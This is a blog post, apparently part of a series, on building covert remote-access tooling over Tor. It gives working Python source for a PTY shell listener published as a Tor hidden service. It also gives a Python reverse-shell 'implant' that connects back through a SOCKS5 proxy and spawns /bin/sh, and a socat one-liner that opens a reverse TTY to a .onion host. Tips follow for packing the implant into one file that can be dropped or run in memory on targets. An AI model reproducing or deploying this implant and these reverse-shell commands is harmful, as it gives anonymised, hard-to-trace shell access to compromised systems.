In this post, we will upgrade our listener to give us a PTY, and write a simple enough python implant to send us back our shells. We will also discuss the problem of adding dependencies to our script, and I’ll show the absolutely hideous solution I came up with. A reasonably short entry, as spawning and handling PTY’s in Python is pretty well documented.
Firstly, we rip out our “listener” function that used telnetlib, and replace it with a proper PTY handling class. Luckily, we happen to have perfectly fine example code for this from an old project of mine. It just required some very, very minor tweaks to rip out some unused code. It is also better commented than it has any right to be, so below I’ve posted the full source of our new and improved shell handler.
#!/usr/bin/env python2
from stem.control import Controller
import termios
import select
import socket
import os
import fcntl
import argparse
class PTY:
def __init__(self, slave=0, pid=os.getpid()):
# apparently python GC's modules before class instances so, here
# we have some hax to ensure we can restore the terminal state.
self.termios, self.fcntl = termios, fcntl
# open our controlling PTY
self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+")
# store our old termios settings so we can restore after
# we are finished
self.oldtermios = termios.tcgetattr(self.pty)
# get the current settings se we can modify them
newattr = termios.tcgetattr(self.pty)
# set the terminal to uncanonical mode and turn off
# input echo.
newattr[3] &= ~termios.ICANON & ~termios.ECHO
# don't handle ^C / ^Z / ^\
newattr[6][termios.VINTR] = '\x00'
newattr[6][termios.VQUIT] = '\x00'
newattr[6][termios.VSUSP] = '\x00'
# set our new attributes
termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr)
# store the old fcntl flags
self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL)
# fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
# make the PTY non-blocking
fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK)
def read(self, size=8192):
return self.pty.read(size)
def write(self, data):
ret = self.pty.write(data)
self.pty.flush()
return ret
def fileno(self):
return self.pty.fileno()
def __del__(self):
# restore the terminal settings on deletion
self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios)
self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags)
class Shell:
def __init__(self, port):
self.port = port
self.sock = socket.socket()
self.sock.bind(("127.0.0.1", port)) # important to specify localhost...
self.sock.listen(5)
def handle(self, port=None):
sock, addr = self.sock.accept()
print " > got a connection.\n"
# create our PTY
pty = PTY()
# input buffers for the fd's
buffers = [ [ sock, [] ], [ pty, [] ] ]
def buffer_index(fd):
for index, buffer in enumerate(buffers):
if buffer[0] == fd:
return index
readable_fds = [ sock, pty ]
data = " "
# keep going until something deds
while data:
# if any of the fd's need to be written to, add them to the
# writable_fds
writable_fds = []
for buffer in buffers:
if buffer[1]:
writable_fds.append(buffer[0])
r, w, x = select.select(readable_fds, writable_fds, [])
# read from the fd's and store their input in the other fd's buffer
for fd in r:
buffer = buffers[buffer_index(fd) ^ 1][1]
if hasattr(fd, "read"):
data = fd.read(8192)
else:
data = fd.recv(8192)
if data:
buffer.append(data)
# send data from each buffer onto the proper FD
for fd in w:
buffer = buffers[buffer_index(fd)][1]
data = buffer[0]
if hasattr(fd, "write"):
fd.write(data)
else:
fd.send(data)
buffer.remove(data)
# close the socket
sock.close()
if __name__ == "__main__":
port = 1337 # later, we may want to randomize this.
print(' * Connecting to tor')
with Controller.from_port() as controller:
controller.authenticate("my_password")
response = controller.create_ephemeral_hidden_service({80: port}, await_publication = True)
print(" * Our service is available at %s.onion, it will disappear when this program terminates" % response.service_id)
try:
s = Shell(port=port)
s.handle()
finally:
print(" * Shutting down our hidden service")
So now that we have our handler, what about our shell itself?
Well, in the prior examples, we used ncat. We could just send back an ncat reverse shell and upgrade it to a PTY using the usual tricks, but frankly, fuck that. We have perfectly good PTY reverse shell code in Python, and there exists an entire Python library for handling SOCKS5, namely PySocks.
So we very quickly download PySocks, and really, the only relevant file is “socks.py”. We can quite quickly write a very simple reverse shell that uses the PySocks library to connect back to our listener over Tor. And also spawn a PTY.
import socks
import os
import sys
import pty
def main(args):
if len(args) !=2:
sys.exit("use: %s blah.onion" %(args[0]))
# create a socks socket
s = socks.socksocket()
# set the proxy...
s.set_proxy(socks.SOCKS5, "localhost", 9050)
# connect, dup2, shell. Nothing special.
s.connect((args[1], 80))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/sh")
s.close()
if __name__ == "__main__":
main(args=sys.argv)
So we of course now must test all this, by running our listener, and by running our new callback on a box with tor installed, with just the onion services hostname (no port needed) as an argument (eg: python callback.py blahblahblahblah.onion
).

We should now have a callback shell, in which we can run sudo/su, vim, or just mash CTRL+C all day in with no fear of losing our hard won shell.
Now, you might wonder, what about when deploying this thing? Surely you don’t expect me to ship over the socks.py file as well as the backconnect script?
Well, we have a couple of options here. We could package them into a zip file and execute the zip file (yes, we can do this), or we could bodge the backconnect and the socks code into one file.
The zip file trick is fairly simple. We put our backconnect code into a file named __main__.py
, and then have the socks.py
file in the same (clean) directory. cd
into the directory, and run zip test.zip *
to shove them both into test.zip
. To run, simply run the zip file with Python.
You can read more about this trick here: https://gist.github.com/asimjalis/4237534
Now for the bodge. We can basically append our backconnect code to the bottom of the socks.py file, fix a couple of imports, fix some naming stuff up (because we are no longer importing socks, we are socks), and it works. We have a simple, one file implant that can be dropped (or ran in memory) on pretty much anything *nix that has a python interpreter (and for now, Tor). Doing this is left as an exercise for the reader – I don’t particularly feel like pasting the entire blob of code here.
Finally, for those who are real connoisseurs, I figured it would be worthwhile noting that we could, of course, just use socat on our target. For those cases where you don’t want to touch Python for whatever reason. An example could be an embedded device where cross compiling Tor and socat is doable, but shipping a Python interpreter over to it is… Hard.
socat socks4a:127.0.0.1:REDACTED.onion:80,socksport=9050 exec:/bin/sh,pty,stderr,setsid,sigint,sane
This absurd looking incantation of magic internet pipes will send you a reverse TTY, lets break it down a little though.
So the socks4a:127.0.0.1:REDACTED.onion:80,socksport=9050
part is quite simple. It tells socat to connect to REDACTED.onion on port 80, using the SOCKS proxy server on localhost (127.0.0.1), and that the SOCKS proxy port is 9050.
It then tells socat that once a connection has been established, to execute /bin/sh
, attach a PTY, and ensure that the PTY is functional by setting some other options, which we will explore next.
stderr
tells it to redirect stderr of the new process (the shell) to the socat output channel, setsid
makes the new process (the shell) the “main process” or “leader” in the new session we opened, sigint
tells it to pass along the CTRL+C messages properly to children, as opposed to terminating the socat process, and finally sane
asks the terminal kindly to be sane, and functional.
Honestly, if you get a chance, spend a bit of time going through the socat man pages and such. I’ve probably some overdue content coming up showing various socat tricks and tips.
Anyways, at this point we have largely functional TTY available to us, however we haven’t yet resolved the issues of end to end encryption (beyond the encryption offered to us by Tor), or the issue of removing the Tor dependency entirely. Next episode, we shall solve the encryption problem – as it poses a few thorny and irritating issues we shall have to deal with.